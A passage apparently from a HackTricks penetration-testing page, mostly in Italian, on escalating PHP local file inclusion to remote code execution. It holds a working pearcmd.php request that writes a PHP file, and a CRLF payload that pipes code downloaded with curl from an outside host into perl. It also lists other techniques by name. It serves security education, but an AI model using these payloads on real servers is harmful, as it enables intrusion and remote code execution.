As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, it’s possible to pass arguments to the script via the URL because it’s indicated that if a URL param doesn’t have an =, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Quanto segue sfrutta una vuln CRLF per ottenere RCE (da here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Tramite phpinfo() (file_uploads = on)

Se trovi una Local File Inclusion e un file che espone phpinfo() con file_uploads = on puoi ottenere RCE:

LFI2RCE via phpinfo()

Tramite compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Se trovi una Local File Inclusion e puoi esfiltrare il percorso del file temporaneo MA il server sta controllando se il file da includere contiene i marker PHP, puoi provare a bypassare quel controllo con questa Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Tramite eternal waiting + bruteforce

Se puoi abusare della LFI per upload temporary files e far hang l’esecuzione PHP, potresti poi effettuare un bruteforce sui nomi dei file per ore per trovare il file temporaneo:

LFI2RCE via Eternal waiting

Per Fatal Error

Se includi uno qualsiasi dei file /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Devi includere lo stesso file 2 volte per provocare quell’errore).

Non so quanto sia utile ma potrebbe esserlo.
Anche se causi un PHP Fatal Error, i file temporanei PHP caricati vengono eliminati.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks